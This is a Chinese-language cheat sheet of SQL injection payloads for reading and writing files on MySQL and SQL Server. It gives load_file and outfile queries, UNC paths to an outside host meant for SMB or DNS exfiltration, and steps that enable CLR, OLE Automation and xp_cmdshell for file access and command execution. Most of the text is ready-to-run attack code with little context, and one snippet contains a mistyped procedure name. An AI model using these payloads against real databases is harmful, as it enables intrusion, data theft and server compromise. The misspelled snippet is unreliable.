SQL注入中的文件读写总结

一、MySQL

读文件

常见的读文件,可以用16进制代替字符串

select load_file('c:/boot.ini')
select load_file(0x633a2f626f6f742e696e69)
select load_file('//ecma.io/1.txt')       # smb协议
select load_file('\\\\ecma.io\\1.txt')    # 可用于DNS隧道

写文件

我暂时已知l两种写文件的方式

select 0x313233 into outfile 'D:/1.txt'
select 0x313233 into dumpfile 'D:/1.txt'

二、 SQL Server

读文件

  1. BULK INSERT

    create table result(res varchar(8000));
    bulk insert result from 'd:/1.txt';
    
  2. CLR集成

    // 开启CLR集成
    exec sp_configure 'show advanced options',1;
    reconfigure;
    exec sp_configure 'clr enabled',1
    reconfigure
    
create assembly sqb from 'd:\1.exe' with permission_set=unsafe

上面一句可以利用create assembly函数从远程服务器加载任何.NET二进制文件到数据库中;但是他会验证是否为合法.NET程序,导致失败,下面是读取方式

select master.dbo.fn_varbintohexstr(cast(content as varbinary)) from sys.assembly_files

绕过,首先加载一个有效的.NET的二进制文件,然后追加文件即可,下面是绕过方法。

create assembly sqb from 'd:\net.exe';
alter assembly sqb add file from 'd:\1.txt'
alter assembly sqb add file from 'd:\notnet.exe'
  1. Script.FileSystemObject

开启Ole Automation Procedures

sp_configure 'show advanced options',1;
RECONFIGURE;
sp_configure 'Ole Automation Procedures',1;
RECONFIGURE;
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o, 'opentextfile', @f out, 'd:\1.txt', 1
exec @ret = sp_onmethod @f, 'readline', @line out
while(@ret = 0) begin print @line exec @ret = sp_oamethod @f, 'readline', @line out end
写文件
  1. Script.FileSystemObject

    declare @o int, @f int, @t int, @ret int
    declare @line varchar(8000)
    exec sp_oacreate 'scripting.filesystemobject',@o out
    exec sp_oamethod @o, 'createtextfile', @f out, 'e:\1.txt', 1
    exec @ret = sp_oamethod @f, 'writeline', NULL ,'This is the test string'
    
  2. BCP复制文件(测试失败,无bcp.exe)

    c:\windows>system32>bcp "select name from sysobjects" query testout.txt -c -s 127.0.0.1 -U sa -p"sa"
    
  3. xp_cmdshell

    exec xp_cmdshell 'echo test>d:\1.txt'
    

三、Oracle

pass,Oracle太坑了~~~几乎都受到PL/SQL的限制,暂时不讨论

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